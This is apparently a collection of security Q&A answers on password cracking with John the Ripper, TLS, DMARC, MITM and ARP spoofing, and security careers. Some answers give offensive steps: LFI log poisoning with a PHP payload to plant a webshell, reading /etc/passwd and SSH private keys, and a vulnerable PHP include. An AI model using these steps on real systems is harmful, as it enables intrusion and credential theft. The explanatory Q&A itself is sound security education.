0g 0:00:00:14 24.07% (25) (ETA: 21:50:52) 0g/s 28.74p/s 28.74c/s 28.74C/s correctshlsebatterystaple..correctaoasebatterystaple
0g 0:00:00:17 29.63% (25) (ETA: 21:50:51) 0g/s 28.84p/s 28.84c/s 28.84C/s correctscasebatterystaple..correctatasebatterystaple
0g 0:00:00:21 35.19% (25) (ETA: 21:50:52) 0g/s 28.89p/s 28.89c/s 28.89C/s correctslbsebatterystaple..correctapbsebatterystaple
0g 0:00:00:23 38.89% (25) (ETA: 21:50:53) 0g/s 28.95p/s 28.95c/s 28.95C/s correctesbsebatterystaple..correctrhbsebatterystaple
0g 0:00:00:26 44.44% (25) (ETA: 21:50:52) 0g/s 28.97p/s 28.97c/s 28.97C/s correctebpsebatterystaple..correctrcpsebatterystaple
0g 0:00:00:29 50.00% (25) (ETA: 21:50:52) 0g/s 29.01p/s 29.01c/s 29.01C/s correcteecsebatterystaple..correctrlcsebatterystaple
0g 0:00:00:33 55.56% (25) (ETA: 21:50:52) 0g/s 29.04p/s 29.04c/s 29.04C/s correctescsebatterystaple..correctrhcsebatterystaple
0g 0:00:00:35 59.26% (25) (ETA: 21:50:53) 0g/s 29.06p/s 29.06c/s 29.06C/s correctborsebatterystaple..correctyarsebatterystaple
correcthorsebatterystaple (/tmp/tmp.ZGtxLjHUQi/encrypted/)
1g 0:00:00:36 DONE (25) (2020-02-13 21:50) 0.02746g/s 29.00p/s 29.00c/s 29.00C/s correctborsebatterystaple..correctyarsebatterystaple
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Here -2 specifies the set of characters, while ?2 specifies where in the mask to use them.

Notes

Checking the passwords found:

Command:
  ${JOHN}/john --pot=cracked_passwords.pot --show ${TMPDIR}/encfs6.xml.john
  Output:
  /tmp/tmp.ZGtxLjHUQi/encrypted/:correcthorsebatterystaple
  1 password hash cracked, 0 left

You can also just use cat cracked_passwords.pot.
You can continue a canceled cracking run with:

${JOHN}/john --restore
John the ripper options:

--progress-every=N : emit a status line every N seconds
--pot=NAME : pot filename to use

By default, John will use ${JOHN}/john.pot.  This override allows using a different john.pot-like file (to start from, and to store any found password into).

cf: https://github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/doc/OPTIONS

hashcat might be faster then John the ripper, but it does not seem to support encfs yet.


To get security clearance, do I need to be national of the country?

I believe It depends on the level of security clearance you require.
For example, SIS/MI6 work that requires DV clearances has the following criteria

  The minimum criteria for attaining a valid DV clearance are:

  The candidate must have been a resident in the UK for the majority of the past ten years and
  The candidate must have residency information that is verifiable.

This guide here has the following values for residency for the following levels of clearance:

DV(Developed Vetting) = 10 years minimum residency
SC(Security Check) = 5 years minimum residency
CTC(Counter Terrorist Check) = 3 years minimum residency

The following levels of security clearance don't specifically mention residency or citizenship as far as i can determine.

EBS / Enhanced Baseline Standard
BPSS / Basic Personnel Security Standard
NATO Cleared
MPS / Metropolitan Police Service
SIA / Security Industry Authority
CRB / Criminal Records Bureau
ECRB / Enhanced Criminal Records Bureau

In case you aren't aware, the system in the UK is like Australia, you require the company you will work for to 'Sponsor' your application for clearance (basically you have to be better than everyone else in the UK that doesn't already have clearance).

In Australia, you are required to have citizenship to get the most 'simple' baseline clearance.


DMARC policy result when exactly one of SPF and DKIM fails and exactly one succeeds

from my uderstanding of the RFC this should be default behaviour. if you have set the fo field in the dmarc record it will modify this.

Recievers are permitted to process the message as they see fit, and may reject a message on an spf fail (with a reject mechanism "-"), but provding the standard is implemented in full and DKIM passes, with the default fo setting of 0, the message will pass authentication.

If the SPF record is set to softfail this should allow the DKIM to be processed and DMARC polcies to superceed the SPF result in most cases.


Can Let's Encrypt be used by someone like the NSA to effectively break SSL/TLS?

Very short answer:

  Would NSA have any cryptographic advantage because of that,

Yes. And that applies to any certificate authority: Whomever your users trust to authenticate your website is able to forge a valid certificate. Verisign, Let's Encrypt, doesn't matter. They have everything they need to make your user complacently be subject to a man-in-the-middle attack.

Note that it is known that some CAs that are trusted by default on many systems/browsers/clients are subject to laws requiring access to the signing keys. And as far as I remember, there's also already publicized cases where law enforcement used that.

  when analyzing SSL/TLS communication?

Aside from the MITM scenario explained above, in theory, no. A CA just signs your public key, it doesn't get any more insight into the encrypted streams.


How do I handle HTTPS certificates for a device with dynamic IP?

Why not register the certificate for a fully-qualified domain name, instead of for the IP address? Assuming you're running it as a server, and leave it running for good stretches of time, you'd visit the DNS provider, and change the mapping between IP address and domain name, only when you received a new IP address.

Additionally you could request a static DHCP lease for the MAC address corresponding to your NIC. Then each time you rebooted, the DHCP server would provide you with the same IP address.


Best tool for testing an SSL connection in my application

Openssl ships with a tool called "s_client" that can be used to test SSL servers.  This is available for *nix, cygwin, and Win32.

Sample Usage

$ openssl s_client -connect servername:port -CAfile /path/to/ca.pem -debug -showcerts

There are a myriad of options such as -pause, -state, etc. which you may find useful for tracking SSL through its setup and teardown.

Security

In your original question, you wondered if your implementation was secure.  By secure, do you mean that the stream is encrypted, or that you've implemented all aspects of the RFC correctly?  If you mean the former, then use Wireshark as D.W. has pointed out.

If you mean the latter, then check out the OWASP SSL testing page.  There's some great stuff there, but it is by no means exhaustive.  These tests are geared for HTTPS, but they should work for any SSL implementation since it is analyzing the SSL protocol, not the application-level protocol on top.


Posting links to executable files and security

If you are simply talking about someone posting a link on your forum maliciously (in other words intended to actually hurt the end-user not for sharing between security professionals) I would not necessarily consider it a security hole.  I would, however, inform your visitors that they are leaving your site and you have no way of knowing if the site is safe.  This is probably the route I would take.

You could also try and a script that would scan the link and make sure it is not an executable using CURL.  If I went this route I would probably white-list Content-Types to: html and image types and still display a warning as it is not fool-proof.

Fleche gave a good answer, and I advise you read it too.   I would also like to point out that most websites that allow links to other websites do it without any kind of warning.  So, you should be okay to do the same.  The only places I've seen diferenet are places like oDesk.


What does a Yadis / XRDS discovery session "look like" to the end user? How does it work? Is it relevant?

If you login to a website such as security.stackexchange.com via OpenID, the website will use yadis/xrds to discover the identity provider based on the information entered by the user.

The website may need to redirect the user to the discovered login page of the identity provider, unless he is already logged into his identity provider and has told it to automatically accept login requests from the website. The yadis/xrds-discovery itself is not visible to the user, but of course he will end up at the right website (if everyone plays nice and does not attempt to phish for accounts)

In the end the website will use the discovered information to verify the identity and may retrieve additional information about the user.

You can find more information in the OpenID specification.


Can I use a virtual machine to connect to a public WIFI to use Internet by totally isolating the host from it?

If I wanted only internet no HDD access.. I would use Tails and run, but...

You can use Tails on your computer and have a full access to your files and documents. Linux have evolved ;)
But honestly, I do not think you need this much of protection for browsing the Internet on a public WiFi :
Use HTTPS everywhere, have a well configured firewall and you should be alright, unless you're carrying with you strictly confidential documents, which I seriously doubt.

Also, a VM is not in anyway a mean to protect your host. There is many ways to escape VMs, and the only purpose of such machines is to create an environment which is controlled, thus useful for security research, better separation of data, or retrocompatibility e.g.

To sum up, the only way for being secure on the Internet is to be careful : I frequently use McDonald's or Starbucks' WiFi and I do not have any Antivirus or Firewall on my Windows 10 laptop. What I have though is experience and most importantly the ability to not click anywhere.

Always update your system, check that you're using HTTPS and be careful with your DNS.


Why are Windows computers open to network file access by default?

The C$ shares (and related $ADMIN,$IPC) are only available to members of the Administrators group.

These usually aren't a problem unless

The wrong people are made "Domain Administrators" in Active Directory
Two people are logged into their machine as "Administrator" with the same password.

According to the comments, you both log in as administrator, and because he was able to access your machine, the passwords must be the same... this is by design.

If you don't like this behaviour, then change your administrator password on both machines, and don't tell each other what that password is.  Additionally, you should create a separate account (non administrator) with a different username/password for all future work.

It is possible to disable the C$ share, but I wouldn't recommend it in a managed environment (with a decent network admin) since many administrative tools require this share to be present.  You can disable this in GPO or the registry.


How can a hacker disable the LED attached to a webcam without critically damaging the hardware?

Yes, they can and it has been demonstrated before.

Basically, the naive camera design uses a USB-capable microcontroller and drives the "camera on" LED with a GPIO pin. If you can figure out a way to rewrite the firmware of that microcontroller then you can do whatever you like.

I was part of a team that designed high resolution webcams. Part of the design criteria of a particular model was positive indication of a secure channel. The enclosure design included a mechanical door over the lens, and a small hall-effect sensor  and magnet that forced the image sensor into reset (through a dedicated RESET# pin on the image sensor) that was forced low when the door was closed.

It was impossible to rewrite the firmware to override that security measure. It wasn't, however, totally safe: if you got physical access to the camera you could defeat this hardware interlock, but that was not part of the scope of this project.

edit

I just wanted to add that in the particular demonstration I linked, the LED was not controlled by an arbitrary GPIO on the FX2LP but rather it was attached to the GPIO that was controlling the image sensor's shutdown signal. This would have been a secure design but the authors of the paper noticed that the shutdown signal was not a "hard" shutdown for the sensor; it was actually an optional input and through careful control of the sensor configuration, the sensor was configured to ignore the shutdown signal. That's even more devious than my original answer. The particular camera I worked on was using the RESET# signal which was not able to be subverted, but it's still a very good lesson for hardware designers.


Above is a packet capture of communication between my phone and Google's server(74.125.68.19). Apparently, TLS is used to protect data in transit. TLS is also used for your browser's connection to a HTTPS website so the security is comparable.

If transmitted over cellular networks, there is a second layer of encryption between your phone and your provider. The algorithm used could be A5/KASUMI depending on the network.


Encouraging security researchers to disclose vulnerabilities

Here are several steps you could take to encourage security researchers to disclose vulnerabilities to you:

Waive liability. Promise not to sue researchers who disclose vulnerabilities to you in a responsible fashion.  Currently, many researchers report worrying that reporting a vulnerability to a company could get them sued, and so sometimes they just don't report vulnerabilities they find.  By prominently and publicly committing not to do that, you can help security researchers feel more comfortable contacting you.  See here, here, here, here, here, here, and here.
Thank the researchers. Publicly and prominently acknowledge the researchers who have reported vulnerabilities to you, in vulnerability announcements and other forums.  Many researchers who report vulnerabilities do so out of a sense of responsibility and service to the community, and the only quid pro quo is possibly some public acknowledgement.  A policy of publicly acknowledging reporters costs nothing, and encourages others to report in the future.
Establish a security reporting address. Clearly indicate how to report security vulnerabilities to your team.  (You'd be surprised by how many places don't take this simple step.)
Act promptly on bug reports. When a security problem is reported, act on it within a reasonable time frame.  If researchers report a bug to you and you take no action, or you drag your feet, then researchers may get fed up with you, say "to heck with it", and stop reporting vulnerabilities to you (e.g., instead just releasing them publicly).  To pick one recent example, look at how Yelp responded to a report of a security problem with their mobile site; that's an exemplary, outstanding response.
Pay for bug reports. Establish a bounty program that will provide payment to those who first report a serious security problem to you (if it has not been previously or simultaneously disclosed in public).


Where to store tokens for analysis team members

You are looking for a password vault solution like KeePass, Lastpass or Bitwaren. Because you have shared passwords as well, an online solution would be the preferred option.

There are many different products available with subtle differences. You have to evaluate for yourself, which flavor is right for you. If it is an online solution, you should opt for an on-premise implementation, where you have full control over the server. You do not want to push your credentials into a cloud system managed by a third party.

Such a solution would fulfill your requirements. Each user has to login with his credentials on the platform and gets access to the credentials and tokens that he or she needs.


Should I enable domain authentication in my DMZ

1) Clearly not a good idea. That would mean that if a DMZ machine that is joined to the domain is compromised, then your corporate AD would be in danger, which isn't acceptable

The only option is to deploy a separate Active Directory forest for your DMZ, potentially with different zones; for example, the main writable domain controllers in an isolated network segment and read only domain controllers in the other segments, but in any case without a link to your corporate AD.

There's indeed a management/administrative overhead, but security wise you don't have many other options.


Wireless - why can't i view ARP broadcasts in monitor mode on encrypted networks?

Because they're encrypted

It is my understanding that 802.11 networks using WEP encryption do not encrypt ARP packets.

Nope. Instead the attack relies on the very fact that they ARE encrypted.
From the aircrack-ng docs:

The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably.
The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key.


How can you find the PHP version a website is using using LFI?

There's a couple ways to get PHP version:

If you can find the error.log from the webserver, you can request http://example.com/<?php phpinfo() ?> first, then use the LFI to include it on a PHP file, and get it to parse the log.

You can include /usr/bin/php or /usr/local/bin/php or another path, and get the executable itself.

You can use the logfile trick to send a webshell, and use the webshell to get PHP version.

You can use the logfile trick to execute functions that aren't available on certain versions, and by the error message you can deduce the version in use.


Do SSL proxies such as those from antivirus vendors hijack client processes?

Based on your question I assume that you understand how SSL interception works in general, i.e. that the SSL intercepting process (the antivirus in this case) essentially replaces the original end-to-end encrypted connection with an encrypted connection from proxy to server and with another connection from client to proxy - where the last one does not use the original server certificate but a certificate created by the proxy and issued by a proxy-specific CA trusted by the client.

The question remains then how the local AV can put its proxy into the path of the traffic. One way would be to explicitly configure the proxy in the browser. A more transparent way on Windows is to use the Windows Filtering Platform (WFP) which is explicitly designed for this kind of traffic interception. To cite from Porting Packet-Processing Drivers and Apps to WFP:

  Windows Filtering Platform (WFP) enables TCP/IP packet filtering, inspection, and modification, connection monitoring or authorization, IPsec rules and processing, and RPC filtering ...

In other words: no injection into the client is needed. Instead WFP defines a supported interface how application traffic can be intercepted and modified. Given that all traffic between an application and the remote communication peer will ultimately pass through the network stack of the OS WFP essentially provides supported hooks into this network stack and allows interception and modification without changing the application. This kind of hooks are also used by libraries like WinDivert which allow traffic interception and modification from user mode.

The documentation of ESET AV also confirms that they are using WFP. To cite:

  Starting with Windows Vista Service Pack 1, Windows 7 and Windows Server 2008, the new Windows Filtering Platform (WFP) architecture is used to check network communication. ...

There are also other ways to do similar things even before WFP was available, for example with NDIS filter drivers. And there are more ways, including injecting a DLL into the application. For some information see Comparison of User Mode and Kernel Mode Applications for Modifying HTTP Traffic.


Real life scenario for remote file execution

Just a few days ago I wrote this code:

$pathinfo = explode('/', $_SERVER["PATH_INFO"]);
$action = $pathinfo[1];

if (ctype_lower($action) && file_exists(__DIR__ . "/$action.php")) {
    require_once __DIR__ . "/$action.php";
} else {
    header("HTTP/1.0 404 Not found");
    error_out("No such entrypoint");
}

Here I am taking the name of the action provided in the url, and load a module with that name.

You could have the same functionality with this slightly simpler condition:

if (file_exists("$action.php")) {
    require_once "$action.php";
}

which would exhibit the mentioned remote execution vulnerability (if allow_url_fopen is enabled), or even allow reading unexpected files (think on $action = "/etc/mysecret\0" scenarios).

(By splitting on '/' above that, it is possible that it would not work, as you would need a protocol which doesn't use a /. The file reading would clearly still be problematic on windows, though.)


You may want to update the question and show us the reverse shell that you are trying. Also, if you are able to read file, have you tried reading /etc/passwd? Is SSH port open? how about /home/someuser/.ssh/id_rsa? If you get lucky then you can possibly SSH into the server using this user private key? You can read webroot dir config file where users normally have database connection credentials. Try login with it to SSH, FTP, CMS, etc. There are numerous things you can do


third party DNS over ISP DNS - privacy issue

Cloudflare's 1.1.1.1 setup supports DNS over TLS as can be read on their website, so that traffic can be encrypted and thus not visible to your ISP.


Where and how many times does encryption take place when we browse the internet?

The answer is that they all protect against different kinds of eavesdropping, so they are not at all in use at the same time, and are not always relevant.  For instance:

WPA2 protects the physical link layer, but only in the case of WIFI communication.  WPA2 is what stops someone else on your WIFI network from listening to the traffic between your computer and your router.  Once your network traffic leaves the WIFI router and goes to the "internet", this is no longer relevant, and the traffic between your WIFI router and your ISP is likely unencrypted by default.
TLS can be used in a variety of protocols, but the simple example is for HTTP when talking to a web server.  In that case, TLS is used to encrypt the communication between your web browser and the web server (e.g. security.stackexchange.com) that you are communicating with.  This means that if you were only communicating with services that used TLS, it wouldn't matter as much whether your WIFI network was protected with WPA2.  Similarly, the fact that you are using TLS to communicate with web servers is important because, most likely, the physical layer from your router to the web server is otherwise unencrypted, so if you didn't use TLS then anyone in between your router and the web server would be able to read your requests and responses (like in the early days of the internet when HTTP was more commonplace).  Lack of TLS and lack of WPA2 made it possible for someone in a coffee shop to take over the facebook accounts of everyone using facebook on the same network.
PGP is not really used by default anywhere, but for your average user, is most likely to be used for email.  Email is an especially tricky one because email servers don't always talk to eachother over encrypted channels, and since the communication is being handled between email servers rather than your computer and a destination computer directly, you have less control.  PGP seeks to encrypt your emails before it leaves your computer in a way that can only be decrypted by the final recipient, so it would be an example of end-to-end encryption.  As the name implies, the goal of this is to ensure that any communication can be decrypted only by the two communicating parties, regardless of whether or not the systems that are transmitting the data use encryption themselves.  Theoretically, when using end-to-end encryption, encryption at all other layers becomes redundant.

The trouble, as you might gather from the above descriptions, is that many encryption systems can only encrypt certain parts of the communication channel.  As a result, even if it was possible to "remove all but one", it wouldn't be a good idea because sometimes your encryption "stops" at unexpected places.
For example, theoretically, if I'm only browsing HTTPS websites then I don't need to worry about WIFI encryption.  However, you might be surprised when someone still knows what domains you visit because your computer makes DNS requests in plain text.  You probably won't care that the exact pages you visit are encrypted when everyone can still see that you are visiting https://some-obscure-and-private-sexual-fetish.example.com.


Why does Spamhaus' CBL blocklist return records for 1.1.1.1 and 8.8.8.8?

It might be useful to take a closer look at the answer you get instead of just seeing that you are getting a successful answer back:

searchQuery = ipRev+'.'+'cbl.spamhaus.org'
print resolver.query(searchQuery,'A').response

results for me in:

...
;ANSWER
8.8.8.8.cbl.spamhaus.org. 172732 IN CNAME blocklist.address.is.wrong.spamhaus.org.
blocklist.address.is.wrong.spamhaus.org. 172732 IN A 127.0.0.2

A quick search indicates that you'll get this kind of answer when using a non-existing blacklist. In fact, looking at spamhaus.org shows no information about some CBL list. There are SBL, XBL, PBL or DBL lists but no CBL. So you are using a non-existing list. Switching instead for example to sbl.spamhaus.org gives you the expected dns.resolver.NXDOMAIN.


Email confirmation techniques in major sites

Email verification doesn't provide extra security.  It just validates than the newly registered user is the legitimate owner of that email address.

For security concern a best practice for a web site would be not to send any email to an unconfirmed email address.  This prevent leaking information to someone who mistyped his email address.

Anyhow you should encourage users to confirm their email address quickly : very often the email address is the primary way to recover a lost password.  A user with an unconfirmed email address and a lost password would be screwed up if there is no alternate way to recover his password.

Moreover, if the mistyped email address is actually the address of someone else, this person may confirm the email address and use the password recovery to get access to the user original account.


Data 'dust' left over other than on the HDD?

There are instances where malicious software can persist elsewhere than the main storage drive - it can rewrite device's firmware (BadUSB, etc). However when dealing with trustworthy software like a standard OS, text editor, etc, wiping the hard drive will be sufficient.

Ask yourself - why would legitimate development software ever store some data on system firmware, USB device firmware, etc?


Cloning external harddrive encrypted by bitlocker using dd

DD is a bit for bit copy, barring disk malfunctions.  The copy should be fine and open with the same key. I've been doing this for years with LUKs encrypted disks with no issues.

Make sure neither drive is mounted when you copy it.
Make sure your target drive is at least as big as your source drive.

Consider your intended usage. If it's just a backup, you may find it more convenient to DD to a file instead of to a raw disk.
Raw disk copies are just like the original and can be mounted and opened the same as the original. You need to be careful about booting and mounting two or more identical clone drives at once as they can cross boot with a partition from drive one and another partition from drive two. They will work like this but you may discover later that changes are not in the drive/partition you thought they were.


How do exploit kits enumerate or fingerprint their targets?

I think you might be assuming that the kits are more complicated than they are.

A kit is designed to exploit specific vulnerabilities. It is not necessary to 'fingerprint' and choose the best exploit. It can just attempt to exploit what it is designed to exploit. Some kits will attempt one method after another in series until something works.

For instance, a kit can be designed to exploit Safari browsers. When a user hits it, the exploit is launched. Whether it works or not depends on whether the correct browser and version made the connection. If it did not, generally nothing happens that the user can see anyway.

For your example of Adobe Reader, the kit does not need to know that a specific version is reading the file. The kit just serves the PDF file with the exploit within it. What's the cost of failure?

On the other hand, if the kit wants to be more targetted, then yes, it looks for the specific markers it requires. But what those markers are, and subsequently how to look for them, will depend on the vulnerability. Too many to enumerate here.


How to block detour programs that bypass firewalls?

There are lots of ways to pass data through a firewall and more so if you don't have control of the software installed on the client computers inside the network.

According to this information zenmate  tunnels the data through a HTTPS connection. And according to this zenguard.biz is the backend server involved in this process. And based on this information zenguard.org and zenguard.io domains are involved too. Thus it might be enough to block these sites, both for HTTP and HTTPS. This will of course block all use of zenmate and not only access to the specific URL you want to block. And of course the domains might change in the future because zenmate itself is not interested in being blocked.

But note that blocking zenmate only solves part of the problem. There are other ways to bypass the firewall, like using a SSL-VPN, tunneling with SSH and much more. At the end there is no fully technical solution to block these bypasses. Instead you should make sure that you control which software is installed and have security policies to prohibit use of any firewall bypasses. Then you need to monitor your network for violations and publicly punish everybody who tries to violate these policies so that other users don't even try.


How could an attacker MITM an average Joe?

The most common MitM vectors are any kind of shared network. This can range from using your neighbor's WiFi (here they, or at least their router, are automatically in a MitM position), to leaving your WiFi open (enables an attacker to connect and do ARP spoofing), to using public networks at coffee shops, airports, hotels, schools, etc. (the owner has automatic MitM; others on the network can use ARP spoofing), to business/workplace networks (your admin has MitM, others may or may not be able to gain it).

Accidentally connecting to malicious networks is also a risk. It's very easy to set up a "fake" access point (using a PC) that has an arbitrary SSID and password; if your laptop/tablet/phone is set to automatically connect to a known network, and the attacker can spoof that network (like, maybe it's the one at your favorite coffee shop, even though you're not there right now), then the attacker can use that to get a MitM position when your device connects automatically. Most people let their devices connect automatically to any network they've seen before (and some even connect to popular networks that they haven't seen before), which puts them at risk from such attacks.

HOWEVER, all the threats mentioned so far are pretty minimal as long as HSTS is used (or the app avoids ever using insecure HTTP). There are still some risks. For example, Heartbleed could be used against clients even if the server was patched, assuming the attacker had a MitM position, and some TLS clients are still vulnerable to it because people are bad at pushing updates to old software. In general, though, it's hard to effectively attack somebody this way.

Finally, though, there's the risk of interference at the ISP or backbone level. Many countries restrict the Internet within their borders, and in some cases this is done via a MitM position. Such threats are among the most dangerous, as a nation-state (especially) can simply procure fraudulent certificates that almost any device will trust, enabling interception of TLS traffic (unless good cert pinning is used).

Even without that, though, it's not that rare for CAs to issue TLS certificates to untrusted entities. It's not common, but it happens. Additionally, attacks (such as arbitrary file reads) against web servers can be used to steal their TLS private keys, enabling attackers to successfully spoof those servers. Based on my experience, that's a pretty common class of vulnerability. Such stolen certificates will not only get past HSTS, they'll also pass certificate pinning. There is no perfect defense.


What are the career paths in the computer security field?

As niche as "security" seems, it actually encompasses a few main types of roles, and a couple of areas of coverage. These are actually quite different...

Common roles:

Enterprise IT security department
These guys usually deal mostly with policy enforcement, auditing, user awareness, monitoring, maaaaybe some enterprise-wide initiatives (e.g. SIEM, IdM, etc), and an occasional Incident Response. Also probably give a security PoV on purchasing 3rd party products (whether COTS or FOSS), and in any outsourcing RFP.
Security team in development group (either in enterprise or in dev shops)
Mostly deal with programmer education and training, some security testing (or handling external testing, see below) - this includes both pentesting and reviewing code, maybe defining security features. Some orgs will have the security team also managing risks, participating in threat modeling, etc.
External consultant / auditor / security tester
This usually covers, in some form, all of the above, most often with an emphasis on penetration testing, code reviews, and auditing for regulatory compliance (e.g. PCI). In addition, serving as the security expert, go-to guys for the other types of organizations, such as supplying all the relevant advice.... therefore usually expected (though not necessarily the case ;-) ) to be more up to date than anyone else.
Researcher
This can include academic level research, such as cryptologists, and also research departments in some of the larger security vendors, researching and searching for new exploits / viruses / attacks / flaws / mitigation models / etc. These can actually be quite different, vendor research is often treated as product development, whereas academic research - well, I can't really speak to that, since I don't know...

Likewise, in all the above there are different areas of expertise, and an expert in one won't necessarily have anything intelligent to say in any other area:

Network security, e.g. routers, firewall, network segmentation and architecture, etc.
O/S security, which is of course further subdivided according to O/S flavor (i.e. Windows security expert and Linux security experts might not know much about each other's stuff).
Application security - i.e. how to program securely (which may be necessary to subdivide according to language, technology, etc.), but also application-layer attacks, e.g. Web attacks, etc.
Risk management experts - more focused on the business side, less on the technical
Compliance officers - some places have these dedicated, and they're experts on all the relevant regulations and such (note that this is borderline lawyer-like work!)
Identity architects - for larger, security conscious orgs, that have complex IdM implementations and the like...
Auditing and forensics experts, deal mainly with SIEM/SIM/SOC, and also with investigations after the fact.

On top of that, there are some that specialize in building the secure systems (at each level of the stack), and some that spend their time breaking them - and it is not always shared expertise.

There are probably even more niche-niches that I'm skipping over, but you're starting to get the picture.... As you can see, what a security guy or gal does on a day to day basis is as wide and varied as the companies in which they work, and the systems which they work on. Most often, this DOES require shifting several hats, and working mostly on short tasks... BUT what stays the same (usually) is the requirement to focus on the risks (and threats), whether its mostly a technical job as defining firewall rules, or communicating with the business and lawyer types about the organization's current security posture.

As to how to get into the field? Ideally, you have some experience (preferably expertise) in some other field, that you can then specialize to security.
You used to be network engineer? Great, start with focusing on network security, and go from there.
You're currently a systems administrator? Wonderful, you've probably worked a bit on security already, start learning more in that field.
You've been programming since you were a kid, and want to move to security? Fantastic, you should already have been learning about input validation, cryptography, threat mitigation, secure DB access, etc... Learn some more, figure out what you're missing, and then give me a call ;-).
And so on... On the other hand, if you have no background and want to START in security, that's tougher - because as I've explained, most often the security guys is expected to be the expert on whatever it is. You can try to join a pentesting team, and grow from there... The important part is to focus on risk management (and, for the technical, threat modeling).

I also strongly suggest reading lots of security books and blogs (I enjoy Bruce Schneier's stuff), and also try out OWASP for the application side of things.


2) Use private key to create a signature of the public key.

  3) Upload the public key and its signature to the FTP server.

  4) Mobile device downloads the public key and its signature.

  5) Mobile device uses the public key to verify the signature.

Why do this. Anyone who can create a keypair can sign the public key via the corresponding private key. If I am an attacker I'll just generate my own keypair, sign my public key with my private key and upload it to the FTP. The signature is valid and you'll be none the wiser. At this point everything falls apart. I can decrypt any message by using my private key to get the symmetric key and the associated data.


How can you check and analyze SSL ports other than 443?

2021-02-28 Update: GeoCerts and SSLPing
Two new entries on the list. They've been around for a while. Both of these can do ports other than 443:

https://www.geocerts.com/ssl-checker
https://sslping.com/ <= requires (free) account to check ports apart from 443

I prefer SSLPing for it's "just the essentials!" results interface.
ImmuniWeb (new service; formerly HTBridge)
https://www.immuniweb.com/ssl
Example: Report for imap.spamarrest.com:993

There are a few. But none even close to what SSL Labs does.
Here are two sample sites.

DigiCert SSL Tools (one gets redirected to this site from formerly mentioned https://ssltools.websecurity.symantec.com/checker/)
http://www.networking4all.com/en/support/tools/site+check/report/?fqdn=imap.spamarrest.com%3A993&protocol=https

Port 443 limit is by design
SSL Labs does this on purpose. I didn't know this. But here's the rationale. It's listed inside their Read This First document:

Commonly Requested Features

Checking of IP addresses without hostnames; SSL Labs is designed to test public web servers services. We define public as having a DNS record and running on the official port for the given service (e.g., 443 for HTTPS). We don't allow direct checking of IP addresses because we don't consider such services public.
Checking of web servers on non-standard ports; see the previous point.


(Yes, the question is old, but it deserves an answer.)

Some rules for modern crypto:

MD5 is dead
1024 bit RSA is dead
SHA1 is dying

Using an HMAC for DNSSEC makes no sense, an HMAC requires both parties to have access to the same secret; in the context of DNSSEC, this means clients could spoof the server, making it useless.

There's a lot of algorithms missing from your list, I don't know why Virtualmin gives you those options.  ECDSA options give you smaller responses and somewhat lower CPU usage in signing operations.

Given the relatively short lifetime of DNSSEC keys & responses, I would favor shorter options after taking all of the above in to account.  This means the use of RSASHA256 with a 2048-bit RSA key or ECDSAP256SHA256 (256-bit ECDSA with SHA256).


If you have other computers on the network it is possible they are reinfecting your computer.

Another consideration is to make sure you use genuine software only. You can get hashes for Windows ISOs to verify the installation media's authenticity. (If you download ISOs from mirrors it is possible they have been modified to include adware/malware and hashing will guarantee that the media is genuine.)


Why are there duplicated entries in the ARP table in a MitM attack?

Let's say we have a network with Bob, Alice, and the router. You are an attacker, called Eve.

Now, you wish to carry out a MITM between Bob and the router. There are multiple options now:

Capture traffic flowing from Bob to the router (e.g.traffic flowing
to Facebook)
Capture traffic flowing from the router to Bob (e.g. traffic flowing from Facebook to Bob)
Capture traffic flowing in both directions (Bob to router and router to Bob)=> most common attack.
ARP poison-bomb all hosts in the network

The victim's (Bob's) ARP table will look differently in each of the above scenario's:

Scenario 1

Eve's MAC : router's IP
(optional) Eve's MAC : Eve's IP

Scenario 2

(optional) Eve's MAC : Eve's IP
[On the router, Eve's MAC will now be linked to Bob's IP]

Scenario 3

Eve's MAC : router's IP
(optional) Eve's MAC : Eve's IP
[On the router, Eve's MAC will now be linked to Bob's IP]

Scenario 4

Eve's MAC : router's IP
Eve's MAC : Alice's IP
(optional) Eve's MAC : Eve's IP
[On the router, Eve's MAC will now be linked to Bob's IP]


Unrecognised and undiscoverable(?) device on home network

It occurred to me what this was after a couple of days. It was traffic being 'uploaded' to the router from the modem.  I googled and sure enough Alcatel provide the modems for my broadband provider (BT).


Using dnscrypt on a public hotspot with a captive portal

It's depends and might be messy.  Under OS X, I follow Cupertino's method and add networking connection link state monitoring in a script which fetches and compares the contents http://www.thinkdifferent.us.  Plus, I have a manual toggle script for slow links, incompletely-blocking captive portals and downloading Apple updates from this hemisphere, which are the main edge-cases but otherwise works reliably for probably about 2 years.  If some got adventurous, they'd make a system bar monitor OS X native app which shows their status... or roll all this muck into an app which has vendored dnsmasq and dnscrypt.

Three scripts are the heart of it.  One for checks actual internet access. The other is toggle-internet (automatic via internet-access network tests, forced available (dnscrypt on), forced unavailable (dnscrypt off)).  And, finally a daemon script runs continuously and adjusts accordingly by modifying dns servers using networksetup.  For other platforms, like Linux, it needs some work... for Windows it would need lots of work.

(For HA, I use osx -> dnsmasq brew install dnsmasq --with-dnssec -> 5 instances of dnscrypt brew install dnscrypt-proxy pointing to various non-logging servers.)

Source here


Encrypt WiFi connection per connected user

I'm going to assume your goals are the following:

Prevent unauthorized access to the WiFi AP.
Maintain the confidentiality of traffic between WiFi clients and the AP.
Maintain the integrity of traffic between WiFi clients and the AP.
Allow multiple users to authenticate to the AP with different credentials.

RADIUS implements goals #1 and #4, but not in the way that you might expect. In traditional 802.11 authentication, the client sends an authentication key to the AP, which verifies it and, if correct, allows the client to connect. The actual key exchange is more complicated, and varies depending on what security protocol you're using (e.g. WEP, WPA, WPA2), but that's somewhat irrelevant to our scenario.

RADIUS sits on top of these protocols, acting as a credential provider. With RADIUS, the AP sends all authentication requests over to the RADIUS server (usually via wired ethernet) responsible for managing the AP. One of the major benefits of RADIUS is that different users can log in with different credentials, and all attempts can be logged and audited. Some configurations allow for client certificates as an authentication mechanism, which is much stronger than traditional passwords. However, the use of RADIUS does not solve #2 and #3, because the underlying security protocols (WPA / WPA2) are flawed, allowing traffic to be sniffed, decrypted and (in certain scenarios) modified by authenticated clients.

In order to fulfill goals #2 and #3, you need to implement IPsec on your network. IPsec acts as an end-to-end cryptography mechanism at the Internet layer (i.e. IP layer), providing confidentiality, integrity and authenticity. Authentication is part of IPsec, so it partially supercedes RADIUS in this purpose.

